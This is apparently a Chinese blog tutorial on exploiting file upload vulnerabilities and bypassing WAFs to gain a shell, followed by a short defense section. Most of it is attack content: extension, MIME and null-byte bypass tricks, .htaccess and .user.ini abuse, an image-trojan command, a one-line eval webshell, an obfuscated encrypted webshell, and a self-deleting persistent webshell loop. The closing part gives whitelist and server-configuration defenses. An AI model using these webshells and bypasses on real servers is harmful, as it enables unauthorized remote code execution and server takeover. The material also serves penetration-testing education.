文件上传漏洞:我是如何绕过WAF实现getshell的

文件上传漏洞:我是如何绕过WAF实现getshell的

作者:浅木·先生

前言

文件上传漏洞是Web安全中最"简单粗暴"的漏洞之一------不需要复杂的绕过,不需要高深的技术,只要找到一个可以上传文件的地方,上传一个Webshell,马上就能拿到服务器权限。

但它也是实战中利用成功率最高的漏洞之一。业务系统需要用户上传头像、附件、文档,上传功能无处不在,而其中相当一部分存在校验不严的问题。

本文系统讲解文件上传漏洞的成因、绕过技巧和实战利用,帮你掌握这个渗透测试中的"一把钥匙"。


一、文件上传漏洞原理

1.1 漏洞成因

文件上传漏洞的本质是:服务器对用户上传的文件没有做充分的验证和限制,导致攻击者上传了不该上传的文件类型(如Webshell),并在服务器上被执行。

php 复制代码
// 存在漏洞的代码示例
$upload = $_FILES['upload'];
move_uploaded_file($upload['tmp_name'], '/var/www/html/' . $upload['name']);
// 没有任何验证,直接保存到Web目录

正常用户上传:avatar.jpg → 服务器存储

攻击者上传:shell.php → 服务器执行 → getshell

1.2 危害等级

文件上传漏洞的最终危害取决于上传文件的执行效果:

上传文件类型 潜在危害
Webshell(PHP/ASP/JSP) 直接RCE,最高危
HTML/SVG 存储型XSS
恶意文件(EXE/BAT) 诱导用户下载执行
.htaccess/.user.ini 重绑定MIME或触发PHP后门
大文件 消耗服务器磁盘/DOS

二、常见的上传绕过技巧

2.1 前端绕过

仅依赖JavaScript在客户端做校验,攻击者可直接禁用JS或抓包修改。

javascript 复制代码
// 前端JS校验代码示例
function checkUpload() {
    var file = document.getElementById("file").value;
    if (file == "") {
        alert("请选择文件");
        return false;
    }
    var ext = file.split(".")[1].toLowerCase();
    if (ext != "jpg" && ext != "png") {
        alert("只允许上传jpg/png图片");
        return false;
    }
    return true;
}

绕过方法:

  1. 禁用JavaScript: 浏览器设置中关闭JS,或用BurpSuite抓包修改
  2. 抓包修改: 先上传合法图片,拦截响应改后缀为.php
  3. F12修改代码: 直接删除表单的onsubmit事件

2.2 MIME类型绕过

服务器校验Content-Type头,攻击者抓包修改为合法MIME类型。

bash 复制代码
# 正常上传时,BurpSuite拦截,修改Content-Type
Content-Type: application/x-php  # ← 改为下面这个
Content-Type: image/jpeg

常见MIME类型对应:

文件类型 MIME值
JPG图片 image/jpeg
PNG图片 image/png
GIF图片 image/gif
HTML text/html
PHP application/x-php
ASP application/x-asp

2.3 扩展名绕过

黑名单方式过滤文件扩展名,但黑名单往往不完整。

常见扩展名变体:

原始扩展 绕过变体
.php .php3 .php4 .php5 .phtml .phar .pht
.asp .aspx .asa .cer .cdx .asax
.jsp .jspx .jspf .jse

Apache多后缀解析:

复制代码
shell.php.jpg  → Apache从右往左解析,遇到.php就以PHP执行

Nginx CGI解析漏洞:

复制代码
shell.jpg%00php  → 截断后以PHP执行
shell.jpg/      → 某些配置下以PHP执行

2.4 大小写绕过

Windows系统不区分大小写,Linux区分。利用这一点:

复制代码
shell.PhP     → Windows可解析为shell.PhP(绕过大小写过滤)
shell.php    → Linux无法解析,但Windows可以

2.5 空格或点绕过(Windows特性)

Windows文件末尾的空格和点会被自动去除:

bash 复制代码
# 上传时抓包,在文件名末尾加空格或点
shell.php   (末尾有空格)
shell.php.  (末尾有点)

注意: 需要BurpSuite拦截修改,手动在文件名后加%20.

2.6 双写绕过

某些WAF会删除文件名中的敏感字符(如.php),使用双写可以绕过:

复制代码
shell.pphphp  → 删除中间的.php后剩下shell.php

三、00截断绕过

00截断是文件上传绕过中最经典的手法之一。

3.1 原理

%00是空字符(NULL)的URL编码。在某些函数处理文件路径时,遇到%00会认为是字符串结束符,截断后面的内容。

3.2 实战利用

php 复制代码
// 存在00截断漏洞的代码
$filename = $_GET['filename'];
$ext = $_GET['ext'];
// 保存为 /uploads/ + filename + . + ext
// 访问:/uploads/avatar.php%00.jpg  → 实际保存为avatar.php
bash 复制代码
# 上传时构造URL
POST /upload.php?filename=shell.php&ext=jpg
# Body中:
filename=shell.php%00.jpg
# 服务器拿到filename后,遇到%00截断,实际保存为shell.php

条件: PHP版本 < 5.3.4,且magic_quotes_gpc=off

3.3 0x00截断

在二进制层面修改文件头,将00(十六进制)注入到文件名中:

复制代码
avatar.php%00.jpg → avatar.php + \x00 + .jpg

四、配合文件包含实现上传绕过

很多上传点限制了上传文件类型,不允许直接上传PHP,但如果存在文件包含漏洞,可以将其他格式文件"转化"为PHP执行。

4.1 图片马制作

bash 复制代码
# 制作图片马:在一个正常JPG文件末尾追加PHP代码
echo '<?php eval($_POST[cmd]);?>' >> shell.jpg

# 或者用copy命令
copy normal.jpg /b + shell.php /b shell.jpg

利用方式:

复制代码
# 先上传图片马 shell.jpg
# 如果存在本地文件包含:
?file=shell.jpg
# 文件包含会执行PHP代码,getshell

4.2 .htaccess和.user.ini

.htaccess(Apache):

apache 复制代码
# 上传一个.htaccess,内容如下
AddType application/x-httpd-php .jpg
# 然后上传shell.jpg,Apache会将.jpg当作PHP执行

.user.ini(PHP):

ini 复制代码
# 上传.user.ini,内容
auto_prepend_file=shell.jpg
# 目录下所有PHP文件都会先包含shell.jpg

五、实战利用流程

5.1 标准getshell流程

复制代码
步骤1:找到上传点(头像/附件/文档上传)
步骤2:测试允许的文件类型(jpg/png/pdf/zip)
步骤3:尝试绕过(改MIME/大小写/%00截断/双写)
步骤4:上传Webshell
步骤5:访问shell路径,用菜刀/冰蝎连接
步骤6:获得服务器权限

5.2 一句话木马与Webshell工具

最简单的一句话木马:

php 复制代码
<?php @eval($_POST['pass']); ?>

冰蝎3 Webshell(免杀能力强):

php 复制代码
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d2"; // 密钥
$_SESSION['k'] = $key;
$post = file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
    $t = "base64_decode";
}
else
{
    $t = "base64_decode";
    $post = $t(substr($post,22));
}
$data = $t($post);
if(@array_key_exists('key',$_SESSION))
{
    $key = $_SESSION['key'];
    $off = function_exists("openssl_decrypt");
    $buf = $off ? openssl_decrypt($data, "AES128", $key) : $data;
    $莎 = strpos($buf,":");  // 这里用了中文字符混淆
    if($莎){
        @eval(substr($buf,$莎+1));
    }
}
?>

5.3 无文件webshell(内存马)

如果上传点被修复,还可以尝试直接写入内存马(不死马):

php 复制代码
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    $cmd = $_POST['x'];
    echo `$cmd`;
    sleep(5);
}
?>

六、文件上传漏洞防御

6.1 代码层面防御

扩展名白名单(最佳方案):

php 复制代码
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
if (!in_array($file_ext, $allowed_ext)) {
    die("不支持的文件类型");
}

MIME类型校验:

php 复制代码
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['upload']['type'], $allowed_mime)) {
    die("禁止上传");
}

上传目录不可执行:

php 复制代码
// 将上传文件保存到Web目录之外
$upload_dir = '/var/www/uploads/';
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $filename);
// 同时需要配置Web服务器,禁止访问/uploads/目录下的PHP文件

6.2 服务器配置防御

Nginx配置:

nginx 复制代码
location /uploads/ {
    alias /var/www/uploads/;
    location ~ \.php$ {
        deny all;
    }
}

Apache配置:

apache 复制代码
<Directory "/var/www/uploads">
    <FilesMatch ".php.*">
        Order deny,allow
        Deny from all
    </FilesMatch>
</Directory>

6.3 通用安全建议

  • 禁止上传目录的脚本执行权限(最有效)
  • 文件重命名(上传后用随机字符串命名)
  • 文件内容检测(检查文件头是否为真正的图片)
  • 存储位置隔离(不要放在Web可访问目录)

总结

文件上传漏洞的核心是服务器对上传文件的类型和路径没有做严格控制

绕过前端的本质是抓包修改;绕过服务器校验的核心是00截断、扩展名变体、配合文件包含 。而最好的防御是白名单 + 上传目录不可执行

在渗透测试中,文件上传往往是最快的突破口,遇到上传点不要跳过,多试试各种绕过手法。


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈 浅木·先生

相关推荐
宋浮檀s3 小时前
春秋云镜——CVE-2020-25540
网络·安全·web安全
郑洁文4 小时前
面向Web安全的Python渗透测试系统设计与实现
python·安全·web安全
woniu_buhui_fei7 小时前
常见的网络攻击
web安全
WangX-西石油11 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
小熊officer11 小时前
网络渗透(Network Penetration)
网络·安全·web安全
Dreamboat¿12 小时前
Web 框架识别全攻略(含 Spring Boot、Django、Laravel 等)
web安全
小熊officer13 小时前
网络渗透和网络安全
网络·安全·web安全
上海云盾第一敬业销售16 小时前
服务器遭受攻击的应对策略及快速防护实践
运维·服务器·web安全·ddos
其实防守也摸鱼1 天前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
路baby1 天前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯